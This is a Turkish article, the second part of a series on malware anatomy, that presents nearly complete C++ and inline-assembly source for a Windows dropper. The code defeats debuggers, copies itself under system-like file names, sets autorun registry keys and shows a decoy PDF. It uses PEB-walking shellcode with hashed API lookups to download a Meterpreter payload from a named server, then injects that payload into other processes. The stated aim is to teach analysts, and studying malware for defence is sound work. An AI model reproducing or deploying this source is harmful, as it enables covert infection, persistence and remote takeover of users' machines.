12 Kasım 2017

Bir Zararlı Yazılımın Anatomisi - Bölüm 2

ZARARLI YAZILIM KODLARI

Zararlı yazılım kodları makalemizin birinci bölümünde belirtilmiş olan stratejinin uygulanmasını sağlayacak. Bu bölümde kodları, kodların içindeki yorumları ve alttaki açıklamaları okuyarak tam olarak ne yapılmaya çalışıldığını anlamaya gayret edin.
Bu hedefe özellikle shellcode tekniklerinin uygulandığı HTTP erişimi bölümünde bir defada tam olarak kavramanız mümkün olmayacaktır, o yüzden gerekli zamanı ayırın.

Ana Bölüm

// Uygulama çalıştığında bir konsol ekranı açılmaması için aşağıdaki main fonksiyon tanımını kullanıyoruz.
// Ayrıca Project / Properties / Linker / System / Subsystem = Windows(/SUBSYSTEM:WINDOWS) tanımını da yapmamız gerekiyor.
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
    // Anti-debug önlemi
    SetUnhandledExceptionFilter(UnhandledExcepFilter);
    _asm {xor eax, eax}
    _asm {div eax}

    // Sisteme bulaşmış mıyız kontrol et, bulaşmışsak çık
    // Bulaşmamışsak fatura pdf dosyasını da drop ederek görüntüle
    // Kendi exe dosyanı kalıcılık için farklı bir dizine farklı bir isimle kopyala ve autorun registry kayıtlarına ekle
    f_persistency();

    // Meterpreter payload'unu malware sunucusundan HTTP ile indir ve bellekte sakladıktan sonra scData pointer'ına bu alanın adresini ata
    scData = f_downloadWebFile();

    // Mevcut proses'leri belirledikten sonra tek tek code injection'ı dene
    f_enumerateAllProcesses();
    for (int i = 0; i < cProcesses; i++) {
        if (f_injectProcessMemory(aProcesses[i])) {
            int j = GetLastError();
        }
        else {
            return 0;
        }
    }
    return 1;
}


Main fonksiyonumuz bir anti-debug önlemi ile başlıyor. Inline assembly kullanarak bir sıfıra bölme hatası üretiyoruz. Ancak bundan hemen önce bir hata ele alma fonksiyonunu tanımlıyoruz. İşletim sistemi bu işlemi Structured Exception Handler mekanizması ile hallediyor. Hata ele alma fonksiyonunu aşağıda belirteceğiz.
Anti-debug önleminden sonra daha önce sisteme bulaşıp bulaşmadığımızı kontrol eden ve kalıcılığı sağlayan fonksiyonu (f_persistency) çağırıyoruz. Bu fonksiyonu da aşağıda belirteceğiz.
Bir sonraki adımda bir btr-mlwsunucu sunucusundan paket.bin dosyasını indirmek üzere f_downloadWebFile() fonksiyonunu çağırıyoruz. Bu fonksiyon bellekten dinamik olarak bir yer ayıracak ve bu alana yazdığı payload verisine pointer’ı geri döndürecek. Biz de bu pointer değerini scData adlı global değişkene atayacağız. Bu global değişkeni daha sonraki fonksiyonlardan da payload verisine erişebilmek için kullanacağız.
Son olarak f_enumerateAllProcesses() fonksiyonu ile tüm proses’lerin bir resmini çekeceğiz ve sırayla bu proseslerden bir tanesine payload’umuzu f_injectProcessMemory(processid) fonksiyonuyla inject etmeyi deneyeceğiz. Yazılımımızdaki en belirsiz nokta burası. Eğer mevcut proseslerden 32 bit’lik olanlardan herhangi birisi için uygulamayı çalıştıran kullanıcının hakları yeterli değil ise bu adımı gerçekleştiremeyiz ve dolayısıyla payload’umuz çalışmaz. Bunu bilmek bir analist için şu anlama gelir, zararlı yazılımlar her sistem üzerinde tam olarak çalışmayabilirler, dolayısıyla analist zararlıyı uygun bir sistem üzerinde denemelidir. Tabi bu karara statik analizin sonuçlarını kullanarak ve deneme yanılma yöntemiyle ulaşabilir.
Hata ele alma fonksiyonumuz ise aşağıdaki gibi:

// Debugger'ı engellemek için kullandığımız bu yöntem exception handling işi uygulama tarafından yapıldığında problem olmayacak
LONG WINAPI UnhandledExcepFilter(PEXCEPTION_POINTERS pExcepPointers)
{
    // İlk iş olarak eski UnhandledExceptionFilter'ı tekrar geçerli hale getir
    SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)
        pExcepPointers->ContextRecord->Eax);

    // Hataya yol açan kod bölümünü atlatmak için EIP registerını 2 byte artır. Normalde EIP register'ına doğrudan müdahale edilemez. Burada Windows'un SEH altyapısı içinde bu veri yapısı ile işletim sistemine bu işlem yaptırılabiliyor sanıyorum.
    pExcepPointers->ContextRecord->Eip += 2;

    return EXCEPTION_CONTINUE_EXECUTION;
}


Daha Önce Bulaştık mı Kontrolü ve Kalıcılığın Sağlanması

bool f_persistency()
{
    LPWSTR wszPath = NULL;
    HRESULT hr;
    int i, j;

    // Yazma hakkımız var mı diye random olarak deneyeceğimiz folder'lar
    // Dizin isimlerini açıkça yazmak zorunda kalmadığımızdan analistin işi de zorlaşacak
    KNOWNFOLDERID arrKnownFolderIds[15] = { FOLDERID_System,
        FOLDERID_ProgramFiles,
        FOLDERID_ProgramFilesX86,
        FOLDERID_ProgramFilesCommon,
        FOLDERID_Windows,
        FOLDERID_AdminTools,
        FOLDERID_UserProgramFilesCommon,
        FOLDERID_UserProgramFiles,
        FOLDERID_ProgramData,
        FOLDERID_LocalAppData,
        FOLDERID_PublicDocuments,
        FOLDERID_Documents,
        FOLDERID_CommonAdminTools,
        FOLDERID_CommonPrograms,
        FOLDERID_Libraries };

    // Sistem dosyasıymış gibi kulağa gelen dosya isimleri, random olarak kullanılacaklar
    // PE imajında görünecek bu isimler
    TCHAR newFileName[10][MAX_PATH] = { L"apnputil.exe",
        L"netdrv.exe",
        L"expraw.exe",
        L"igfxperso.exe",
        L"juschedule.exe",
        L"rundll.exe",
        L"taskhost32.exe",
        L"winlogon32.exe",
        L"splwow.exe",
        L"netsess.exe" };

    // Fatura pdf dosyamızı diske yazacağımız farklı pdf dosya isimleri
    // PE imajında görünecek bu isimler
    TCHAR pdfFileName[10][MAX_PATH] = { L"manual.pdf",
        L"instructions.pdf",
        L"installation.pdf",
        L"readme.pdf",
        L"menu.pdf",
        L"WindowsClient.pdf",
        L"UserMan.pdf",
        L"description.pdf",
        L"ApplicantForm.pdf",
        L"form.pdf" };
    
    // Kalıcılığı sağlamak için kullanabileceğimiz registry anahtarları
    LPCTSTR keys[2] = { L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce" };
    
    // Kalıcılığı sağlamak için kullanabileceğimiz registry değerleri
    LPCTSTR values[6] = { L"SysUpnpCtl",
        L"RunSysControl",
        L"IntegritySubSys",
        L"AuthThrust",
        L"MicrosoftUsrCnt",
        L"SynapticsSrv" };

    TCHAR szThisFileName[MAX_PATH];
    GetModuleFileName(NULL, szThisFileName, MAX_PATH);
    TCHAR targetExeFileName[MAX_PATH];
    TCHAR targetPdfFileName[MAX_PATH];
    int index;
    random_device rd;
    mt19937 gen(rd());

    // Daha önce sisteme yerleşmiş miyiz kontrol etmek için olası tüm dizinler içinde olası tüm dosya isimlerini ara
    for (i = 0; i < (sizeof(arrKnownFolderIds) / sizeof(*arrKnownFolderIds)); i++) {
        for (j = 0; j < 10; j++) {
            memset(targetExeFileName, 0, sizeof(targetExeFileName));
            hr = SHGetKnownFolderPath(arrKnownFolderIds[i], KF_FLAG_DEFAULT, NULL, &wszPath);
            PathAppend(targetExeFileName, wszPath);
            PathAppend(targetExeFileName, newFileName[j]);
            if (PathFileExists(targetExeFileName)) {
                return false;
            }
        }
    }

    // Daha önceden yerleşmemişsek kendimizi kopyalayacak yer bul
    for (i = 0; i < 150; i++) {
        memset(targetExeFileName, 0, sizeof(targetExeFileName));
        index = gen() % 15;
        hr = SHGetKnownFolderPath(arrKnownFolderIds[index], KF_FLAG_CREATE, NULL, &wszPath);
        PathAppend(targetExeFileName, wszPath);
        index = gen() % 10;
        PathAppend(targetExeFileName, newFileName[index]);
        if (CopyFile((LPCWSTR(szThisFileName)), (LPCWSTR(targetExeFileName)), 0)) {
            // PDF dosyasını da aynı dizine drop et
            HRSRC myResource = ::FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
            unsigned int myResourceSize = ::SizeofResource(NULL, myResource);
            HGLOBAL myResourceData = ::LoadResource(NULL, myResource);
            void* pMyBinaryData = ::LockResource(myResourceData);

            memset(targetPdfFileName, 0, sizeof(targetPdfFileName));
            PathAppend(targetPdfFileName, wszPath);
            index = gen() % 10;
            PathAppend(targetPdfFileName, pdfFileName[index]);
            std::ofstream f(targetPdfFileName, std::ios::out | std::ios::binary);
            f.write((char*)pMyBinaryData, myResourceSize);
            f.close();

            // Shell execute ilgili executable'ı bularak pdf i aç
            ShellExecute(NULL, L"open", targetPdfFileName, NULL, NULL, SW_SHOW);

            break;
        }
    }

    HKEY keyValue;
    TCHAR * randKey = new TCHAR[MAX_PATH + 1];
    int randHive;

    LONG openRes;
    LONG setRes;

    // Kalıcılık için bir autorun registry anahtarı seç ve rastgele belirlenen değerleri kullanarak kaydı oluştur
    for (i = 0; i < 150; i++) {
        randHive = gen() % 2;

        if (randHive == 1) {
            openRes = RegOpenKeyEx(HKEY_CURRENT_USER, keys[gen() % 2], 0, KEY_ALL_ACCESS, &keyValue);
        }
        else {
            openRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE, keys[gen() % 2], 0, KEY_ALL_ACCESS, &keyValue);
        }

        if (openRes != ERROR_SUCCESS) {
            continue;
        }
        setRes = RegSetValueEx(keyValue, values[gen() % 6], 0, REG_SZ, (LPBYTE)targetExeFileName, _tcslen(targetExeFileName) * sizeof(TCHAR));
        if (setRes != ERROR_SUCCESS) {
            RegCloseKey(keyValue);
            continue;
        }
        else {
            RegCloseKey(keyValue);
            break;
        };
    }

    return true;
}


Comment’lerle kod bölümlerine ilişkin özet bilgi veriliyor. Bununla birlikte bu fonksiyonda ilgi çekici noktalar aşağıdaki gibidir:
  • Yazmak için kullandığımız dizinlerin isimleri string olarak tanımlanmıyor, bunun yerine Windows kütüphanelerinde bulunan dizin ID’lerini kullanıyoruz. Bu sayede analist dizin isimlerini açıkça göremeyecek.
  • Dosyamızı kopyalayacağımız dizin ve dosya adını rassal olarak seçiyoruz, bu da eğer dinamik analizi tek seferlik deneme ile sonlandırırsa ve yeterli statik analiz yapmaz ise uygulamanın davranışının tek örneğini esas almasına yol açabilir. Bu durumda enfekte olmuş diğer bilgisayarları ararken bazılarını gözden kaçırmasına neden olabilir.
  • Bu fonksiyon ile resource olarak eklediğimiz PDF dosyasını da diske yazıyoruz ve pdf reader uygulaması ile açıyoruz. Tabi bu işlem sadece uygulama daha önce bulaşılmamış bir sistem üzerinde çalıştığında gerçekleşiyor. Sonraki çalışmalarda bu işlem gerçekleşmiyor, çünkü autorun registry kaydı nedeniyle uygulama her sistem reboot’unda çalıştığında PDF dosyasının tekrar görüntülenmesini istemeyiz. Bu durum kullanıcıyı muhakkak şüphelendirecektir.
  • Son olarak yine birkaç alternatif içinden seçeceğimiz ve hakkımız olan bir registry anahtarını kullanarak sistemin tekrar başlatıldığında hayatta kalmaya çalışıyoruz. Testlerimizde bazı sistemlerde yazdığımız bu kayıtların işletim sistemi tarafından temizlendiğini gördük. Bu nedenle daha ciddi bir saldırı durumunda daha güvenilir bir yöntem kullanılması gerekecektir.

Zararlı Payload Sunucusuna HTTP ile Bağlanma ve Payload’un Çekilmesi

Uygulamanın bu bölümü yapılan işlemin PE dosyasının Import Address Table’ına bakarak tahmin edilememesi için Assembly dili ile ve shellcode teknikleri kullanılarak geliştirilmiştir. Shellcode teknikleri sayesinde dinamik olarak yüklenecek kütüphanelerin hangi fonksiyonlarının kullanıldığı dahi string verilerine bakılarak görülememektedir.

char* f_downloadWebFile()
{
    char* data = NULL;

    DWORD dwBytesRead = 0;
    DWORD dwBytesWritten = 0;

    dataSize = 0;

    // Shellcode takip parametreleri
    int s_Kernel32_Modul;
    int s_Kernel32_LoadLibraryA;
    int s_Wininet_Modul;
    int s_Wininet_InternetOpenW; //hash değeri 83e2f21f
    int s_Wininet_InternetOpenUrlW; //hash değeri 91c42136
    int s_Wininet_InternetReadFile; //hash değeri 924c1dc0
    int s_Wininet_InternetCloseHandle; //hash değeri 00846d66

    HINTERNET hOpen;
    HINTERNET hFile;

    _asm {
        pushad

        kernel32_bul :
            xor ecx, ecx
            mov esi, fs : [0x30]; PEB adresi
            mov esi, [esi + 0x0c]; PEB LOADER DATA adresi
            mov esi, [esi + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç adresi

        bir_sonraki_modul :
            mov ebx, [esi + 0x08]; Modülün baz adresi
            mov edi, [esi + 0x20]; Modül adı(unicode formatında)
            mov esi, [esi]; esi = Modül listesinde bir sonraki modül meta datalarının bulunduğu adres InInitOrder[X].flink(sonraki modul)
            cmp[edi + 12 * 2], cl; KERNEL32.DLL 12 karakterden oluştuğu için 24. byte ın null olup olmadığını kontrol ediyoruz.Bu yöntem olabilecek en güvenli ve jenerik yöntem değil, ancak işimizi görüyor.
            jne bir_sonraki_modul; Eğer 24. byte null değilse kernel32.dll ismini bulamamışız demektir
            cmp[edi + 6 * 2], 0x33; KERNEL32.DLL 7. karakteri 3 olmalı
            jne bir_sonraki_modul; Eğer 24. byte null değilse kernel32.dll ismini bulamamışız demektir

            mov s_Kernel32_Modul, ebx; Kernel32 modülünün adresini daha sonraki adımlarda kullanmak üzere C değişkenine yazıyoruz
            ; LoadLibraryA fonksiyonunun adresini bul
            push ebx; Kernel32nin adresini stacke yaz
            push 0x583c436c; LoadLibraryA fonksiyon adının hashi
            call fonksiyon_bul; eax ile LoadLibraryA fonksiyonunun adresini döndürür
            add esp, 8
            mov s_Kernel32_LoadLibraryA, eax

            push 0x006C6C64; "0lld"
            xchg eax, eax; dll adı açıkça yan yana gelmesin ve analist strings aracı ile kolayca bulamasın diye arada kod üretiyoruz
            xchg ebx, ebx
            xchg ecx, ecx
            xchg edx, edx
            push 0x2E74656E; ".ten"
            xchg eax, eax; dll adı yan yana gelmesin diye arada kod üretiyoruz
            xchg ebx, ebx
            xchg ecx, ecx
            xchg edx, edx
            push 0x696E6977; "iniw" 3 PUSH harcadık, 12 byte temizlemeyi unutma
            push esp; wininet.dll0 stringinin adresini stack e yaz
            mov eax, s_Kernel32_LoadLibraryA
            call eax; LoadLibraryA fonksiyonunu çağır, EAX register ında wininet.dll modülünün adresi dönecek
            add esp, 12; wininet.dll için stackte aldığımız yeri geri ver.Windows stdcall yöntemiyle fonksiyon çağırır ve çağrılan fonksiyon parametreler için ayrılan yeri temizler.
            mov s_Wininet_Modul, eax; Wininet modül adresini C değişkeninde sakla

            ; Wininet.dll içinde InternetOpenW fonksiyonunun adresini bul
            mov ebx, s_Wininet_Modul
            push ebx; Wininet in adresini stacke yaz
            push 0x83e2f21f; InternetOpenW fonksiyon adının hashi
            call fonksiyon_bul; eax ile InternetOpenW fonksiyonunun adresini döndürür
            add esp, 8
            mov s_Wininet_InternetOpenW, eax

            ; Wininet.dll içinde InternetOpenUrlW fonksiyonunun adresini bul
            mov ebx, s_Wininet_Modul
            push ebx; Wininet in adresini stacke yaz
            push 0x91c42136; InternetOpenW fonksiyon adının hashi
            call fonksiyon_bul; eax ile InternetOpenW fonksiyonunun adresini döndürür
            add esp, 8
            mov s_Wininet_InternetOpenUrlW, eax

            ; Wininet.dll içinde InternetReadFile fonksiyonunun adresini bul
            mov ebx, s_Wininet_Modul
            push ebx; Wininet in adresini stacke yaz
            push 0x924c1dc0; InternetReadFile fonksiyon adının hashi
            call fonksiyon_bul; eax ile InternetReadFile fonksiyonunun adresini döndürür
            add esp, 8
            mov s_Wininet_InternetReadFile, eax

            ; Wininet.dll içinde InternetCloseHandle fonksiyonunun adresini bul
            mov ebx, s_Wininet_Modul
            push ebx; Wininet in adresini stacke yaz
            push 0x00846d66; InternetCloseHandle fonksiyon adının hashi
            call fonksiyon_bul; eax ile InternetCloseHandle fonksiyonunun adresini döndürür
            add esp, 8
            mov s_Wininet_InternetCloseHandle, eax

            ; Gerekli parametreleri stack e yerleştir
            push 0x00000072
            push 0x00650072
            push 0x006F006C
            push 0x00700078
            push 0x00450020
            push 0x00740065
            push 0x006E0072
            push 0x00650074
            push 0x006E0049
            push 0x00200074
            push 0x0066006F
            push 0x0073006F
            push 0x00720063
            push 0x0069004D
            mov ebx, esp; L"Microsoft Internet Explorer"
            push 0
            push 0
            push 0
            push 0
            push ebx
            ; InternetOpenW fonksiyonunu çağır ve eax i C parametresine - hOpen - ata
            mov eax, s_Wininet_InternetOpenW
            call eax
            add esp, 56; Stack ten Microsoft Internet Explorer için aldığımız 14 * 4 = 56 byte ı geri ver
            mov hOpen, eax

            jmp bitis; Buradan sonra shellcode un sonuna ilerlemeliyiz

            ; Fonksiyon: Fonksiyon hashlerini karşılaştırarak fonksiyon adresini bulmak için.
            ; esp + 8 de modül adresini, esp + 4 te fonksiyon hashini alır
            ; Fonksiyon adresini eax ile döndürür
        fonksiyon_bul :
            mov ebx, [esp + 0x08]; Modül adresini al
            mov eax, [ebx + 0x3c]; MSDOS başlığını atlıyoruz
            mov edx, [ebx + eax + 0x78]; Export tablosunun RVA adresini edx e yazıyoruz
            add edx, ebx; Export tablosunun VA adresini hesaplıyoruz
            mov ecx, [edx + 0x18]; Export tablosundan toplam fonksiyon sayısını sayaç olarak kullanmak üzere kaydediyoruz
            mov ebx, [edx + 0x20]; Export names tablosunun RVA adresini ebx e yazıyoruz
            add ebx, [esp + 0x08]; Export names tablosunun VA adresini hesaplıyoruz

        fonksiyon_bulma_dongusu :
            dec ecx; Sayaç son fonksiyondan başlayarak başa doğru azaltılır
            mov esi, [ebx + ecx * 4]; Export names tablosunda sırası gelen fonksiyon adının pointerının VA adresini hesaplıyoruz ve pointer ı ESI a atıyoruz(pointer RVA formatında)
            add esi, [esp + 0x08]; Fonksiyon pointerının VA adresini hesaplıyoruz

        hash_hesapla :
            xor edi, edi
            xor eax, eax
            cld; lods instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz

        hash_hesaplama_dongusu :
            lodsb; ESI nin işaret ettiği mevcut fonksiyon adı harfini(yani bir byteı) AL registerına yüklüyoruz ve ESI yi bir artırıyoruz
            test al, al; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz
            jz hash_hesaplandi; AL register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz
            ror edi, 0xf; Hash değerini 15 bit sağa rotate ettiriyoruz
            add edi, eax; Hash değerine mevcut karakteri ekliyoruz
            jmp hash_hesaplama_dongusu

        hash_hesaplandi :

        hash_karsilastirma:
            cmp edi, [esp + 0x04]; Hesaplanan hash değerinin stackte parametre olarak verilen fonksiyon hash değeri ile tutup tutmadığını kontrol ediyoruz
            jnz fonksiyon_bulma_dongusu
            mov ebx, [edx + 0x24]; Fonksiyonun adresini bulabilmek için Export ordinals tablosunun RVA adresini tespit ediyoruz
            add ebx, [esp + 0x08]; Export ordinals tablosunun VA adresini hesaplıyoruz
            mov cx, [ebx + 2 * ecx]; Fonksiyonun Ordinal numarasını elde ediyoruz(ordinal numarası 2 byte)
            mov ebx, [edx + 0x1c]; Export adres tablosunun RVA adresini tespit ediyoruz
            add ebx, [esp + 0x08]; Export adres tablosunun VA adresini hesaplıyoruz
            mov eax, [ebx + 4 * ecx]; Fonksiyonun ordinal numarasını kullanarak fonksiyon adresinin RVA adresini tespit ediyoruz
            add eax, [esp + 0x08]; Fonksiyonun VA adresini hesaplıyoruz

        fonksiyon_bulundu :
            ret

        bitis :
        popad; Registerları ilk baştaki orijinal değerlerine döndürmek için tekrar stackten alarak güncelliyoruz
    }

    /*
    // Internet bağlantısını kur
    hOpen = InternetOpen(
    L"Microsoft Internet Explorer",          // agent
    INTERNET_OPEN_TYPE_PRECONFIG,           // access
    NULL, NULL, 0);                         // defaults
    */

    _asm {
        pushad

        ; Gerekli parametreleri stack e yerleştir
        push 0x00000000
        push 0x006E0069
        push 0x0062002E
        push 0x00740065
        push 0x006B0061
        push 0x0070002F
        push 0x00750063
        push 0x0075006E
        push 0x00750073
        push 0x0077006C
        push 0x006D002D
        push 0x00720074
        push 0x0062002F
        push 0x002F003A
        push 0x00700074
        push 0x00740068
        mov ebx, esp; L"http://btr-mlwsunucu/paket.bin"
        push 0
        push 0
        push 0
        push 0
        push ebx
        mov ebx, hOpen
        push ebx
        ; InternetOpenUrl fonksiyonunu çağır ve eax i C parametresine - hFile - ata
        mov eax, s_Wininet_InternetOpenUrlW
        call eax
        add esp, 64
        mov hFile, eax
        ; Stack ten Microsoft Internet Explorer için aldığımız 16 * 4 = 64 byte ı geri ver

        popad
    }

    /*
    // Sayfayı indir
    hFile = InternetOpenUrl(
    hOpen,                       // session handle
    L"http://btr-mlwsunucu/paket.bin",                                 // URL to access
    NULL, 0, 0, 0);                         // defaults
    */

    if (hFile == 0)
        return 0;

    do {
        char buffer[2000];
        int cntBuffer = _countof(buffer);

        _asm {
            pushad
            lea ecx, [dwBytesRead]
            push ecx
            push cntBuffer
            lea edx, [buffer]
            push edx
            mov eax, hFile
            push eax
            ; InternetReadFile fonksiyonunu çağır
            mov eax, s_Wininet_InternetReadFile
            call eax
            popad
        }
        /*
        InternetReadFile(hFile, (LPVOID)buffer, _countof(buffer), &dwBytesRead);
        */
        char *tempData = new char[dataSize + dwBytesRead];
        memcpy(tempData, data, dataSize);
        memcpy(tempData + dataSize, buffer, dwBytesRead);
        delete[] data;
        data = tempData;
        dataSize += dwBytesRead;
    } while (dwBytesRead);

    _asm {
        pushad
        mov eax, hFile
        push eax
        ; InternetCloseHandle fonksiyonunu çağır
        mov eax, s_Wininet_InternetCloseHandle
        call eax
        popad
    }
    /*
    InternetCloseHandle(hFile);
    */

    _asm {
        pushad
        mov eax, hOpen
        push eax
        ; InternetCloseHandle fonksiyonunu çağır
        mov eax, s_Wininet_InternetCloseHandle
        call eax
        popad
    }
    /*
    InternetCloseHandle(hOpen);
    */
    // Bu noktada data pointer'ı indirilen dosyaya işaret ediyor, dataSize da indirilen dosyanın boyutuna
    return data;
}


Inline assembly yönteminin kullanıldığı yukarıdaki kod içinde assembly ve C++ comment alanlarında bazı açıklamaları bulabilirsiniz. Yukarıda gördüğünüz kod parçası exploit shellcode geliştirme know how’ının zararlı yazılım geliştirme amacıyla kullanımına bir örnektir.
Aralarda comment’lenmiş olarak gördüğünüz web erişim kodları Assembly ile tekrar kodlanmıştır.
Assembly’de bir Windows API’sinin aldığı parametreleri ve nasıl çağrıldığını rahatça görmek için VS’da kod bölümüne sağ klikleyerek Go to Disassembly seçeneğini seçebilir ve VS’nun üreteceği assembly kodunu görebiliriz. Bu kod bizi farklı bir header dosyasında Define edilmiş pek çok sabit değerin ne olduğuna ilişkin dokümantasyona bakma zahmetinden de kurtaracaktır.



// Internet bağlantısını kur
    hOpen = InternetOpen(
00FB9866  mov         esi,esp  
00FB9868  push        0  
00FB986A  push        0  
00FB986C  push        0  
00FB986E  push        0  
00FB9870  push        offset string L"Microsoft Internet E"... (0FC6958h)  
00FB9875  call        dword ptr [__imp__InternetOpenW@20 (0FCE30Ch)]  
00FB987B  cmp         esi,esp  
00FB987D  call        __RTC_CheckEsp (0FB1393h)  
00FB9882  mov         dword ptr [hOpen],eax  
    L"Microsoft Internet Explorer",          // agent
    INTERNET_OPEN_TYPE_PRECONFIG,           // access
    NULL, NULL, 0);                         // defaults


f_downloadWebFile() fonksiyonu ile ilgili dikkate değer konular şunlardır:

  • Öncelikle her Windows prosesinde bellekte yüklü bulunan ve LoadLibrary fonksiyonunu barındıran Kernel32.dll kütüphanesinin adresini shellcode teknikleri ile Process Environment Block (PEB) veri yapısı ve diğer imkanları kullanarak buluyoruz.
  • Daha sonra PE dosya formatından faydalanarak Export adres tablosundan LoadLibrary fonksiyonunun bellekteki adresini buluyoruz.
  • Hangi kütüphaneyi yükleyeceksek bu kütüphanenin ismini LoadLibrary fonksiyonuna parametre olarak veriyor ve çalışma sırasında bu kütüphaneyi biz yüklüyoruz.
  • Yine yüklenen kütüphane içinde PE dosya formatının özelliklerini kullanarak kullanacağımız fonksiyonun bellekteki adresini (Virtual Address) buluyoruz. Daha sonra bu fonksiyona gerekli parametreleri stack üzerinden vererek fonksiyonumuzu çağırıyoruz.
  • Yukarıdaki kodu incelediğinizde Internet Explorer bileşenleri ile web erişimi sağlandığı görülebilir. Bu sayede proxy kullanan kullanıcılar için proxy imkanıda zararlı yazılım tarafından kullanılabilmektedir.
  • Shellcode’un anlaşılabilmesi için temel Assembly bilgisinin yanı sıra yukarıda bahsettiğimiz PE dosya formatı ve PEB veri yapısı hakkında da temel bilgi sahibi olunması gerekmektedir.
  • Shellcode içinde yine analistin strings komutu ile yüklenen kütüphane ismini kolayca anlayamaması için eklenmiş işlevsiz assembly instruction’ları görülebilir. Biz zaten kompleks olan kodun anlaşılırlığını daha da azaltmamak için bu eklemeleri yapmadık, ancak analistin statik analizini daha da zorlaştırmak için çeşitli anti-disassembly önlemleri bu bölüm için çok uygun olurdu. Bu tekniklere ilişkin örnek ve bilgileri başka bir makalede vereceğiz.

İndirilen Payload’un Sistem Üzerindeki Farklı Bir Proses’in Adres Alanında Çalıştırılması

// Çalışan tüm proses'leri tespit et ve process array'ine id'lerini kaydet
int f_enumerateAllProcesses(void) {

    unsigned int i = 0;

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Bu anda sistem üzerindeki tüm process'lerle ilgili meta bilgilerin bir resmini çek 

    if (Process32First(snapshot, &entry) == TRUE) {
        while (Process32Next(snapshot, &entry) == TRUE) {
            // Sırasıyla process bilgileri içinden process id'lerini oku ve array'e yaz
            aProcesses[i] = entry.th32ProcessID;
            i += 1;
        } // while
    }
    else {
        return 1; // Process'lerle ilgili bilgileri alamadık
    }
    cProcesses = i;
    CloseHandle(snapshot);

    return 0;
}


Bu bölümde yapılan şey son derece basit, uygulama yorum bölümlerinde de belirtildiği gibi belli bir anda çalışan proses’lerin resmi çekilerek id’leri bir array’e dolduruluyor. Daha sonra bu array’deki proses id’lerini sırayla kullanarak injection yapmaya çalışacağız.

// Hedef process'in adres alanına yazabilmek için gerekli yetkileri almaya çalış
int f_setDebugPrivileges(HANDLE hProcess)
{
    DWORD error = 0;
    TOKEN_PRIVILEGES Debug_Privileges;

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Debug_Privileges.Privileges[0].Luid)) return GetLastError();

    HANDLE hToken = 0;
    // Process token handler'ını al
    if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        error = GetLastError();
        if (hToken) CloseHandle(hToken);
        return error;
    }

    // Debug yetkilerini aktif hale getir
    Debug_Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    Debug_Privileges.PrivilegeCount = 1;

    if (!AdjustTokenPrivileges(hToken, false, &Debug_Privileges, 0, NULL, NULL))
    {
        error = GetLastError();
        if (hToken) CloseHandle(hToken);
    }

    return 0; // Hata almadan bu noktaya gelmişsek yetkileri almışızdır
}


Bu bölümde injection öncesinde hedef proses’e erişim yetkilerimizi yükseltmeye çalışıyoruz. Buradaki yükseltmeden kasıt bizim buna hakkımız yokmuş da biz bir hacking yöntemi ile yapıyormuşuz değil, aksine bunu yapabilmemiz için zararlıyı çalıştıran kullanıcının bu işlemi yapmaya hakkı olması lazım. Eğer yetkilerimizi gerekli seviyeye çekebiliyorsak injection işlemini de yapabileceğiz.

// Belli bir proses id'sine sahip proses'in adres alanına shellcode payload'umuzu inject etmeye çalışacağız
// Burada hedef process'in 32 bit mi 64 bit mi olduğunu kontrol etmiyoruz. Ancak 32 bit'lik bir payload ancak 32 bit'lik bir process'in adres alanında çalışabilir, benzer şekilde 64 bitlik bir payload'da 64 bit'lik bir process'in adres alanında çalışabilir
// Bu işlemi tüm process'ler için sırayla deneyeceğiz, o yüzden kontrol etmeye gerek yok, hata alırsak bir sonrakini deneyeceğiz
int f_injectProcessMemory(DWORD pid) {

    LPVOID memory = NULL;          // Shellcode'un bellekte bulunduğu alanın pointer'ı 
    DWORD thread_id;               // Hedef proses'in adres alanında yeni oluşturulan thread'in id'si
    HANDLE thread;                 // Remote thread handle'ı

    // Process id'sini kullanarak process handle'ını al
    HANDLE hProcess = OpenProcess((PROCESS_CREATE_THREAD |
        PROCESS_QUERY_INFORMATION |
        PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE |
        PROCESS_VM_READ),
        FALSE,
        pid);

    if (hProcess == NULL) {
        return 1; //error
    }
    // Uygulamamızın injection için yeterli haklarla çalıştığından emin olabilmek için
    f_setDebugPrivileges(GetCurrentProcess());
    f_setDebugPrivileges(hProcess);

    if (hProcess) {

        // Hedef proses'in belleğinde payload'umuz kadar yer ayır 
        memory = VirtualAllocEx(hProcess, 0, dataSize, MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE); // Bellek erişim kontrol flag'leri

        SIZE_T written = 0;
        LPVOID lpCallback = NULL;

        // Payload'umuzu hedef proses'te ayırdığımız bellek alanına yazalım
        if (WriteProcessMemory(hProcess, memory, scData, dataSize, &written)) {
            // Yazdığımız shellcode'umuzu hedef proses içinde yeni bir thread olarak başlatalım
            thread = CreateRemoteThread(hProcess, NULL, 0, (DWORD(__stdcall*)(void*))memory, 0, 0, 0);
            if (thread != NULL) {
                // Thread'in sonlanmasını beklememize gerek yok, çünkü payload'umuz kendi ihtiyaç duyduğu süre boyunca çalışacak
                // Bu nedenle hedef proses'in bellek alanında herhangi bir temizlik de yapmayacağız, normalde VirtualFreeEx(hProcess, memory, 0, MEM_RELEASE); satırıyla bunu yapmalıydık
            }//if thread
            else {
                return 1; // Thread'imiz başlatılamadı
            }
        } // if WriteProcessMemory

        CloseHandle(hProcess);
        return 0;
    } // if hProcess

    return 1; // Bu noktaya geldiysek hedef proses'in adres alanına yazamadık veya farklı bir şey ters gitti
}


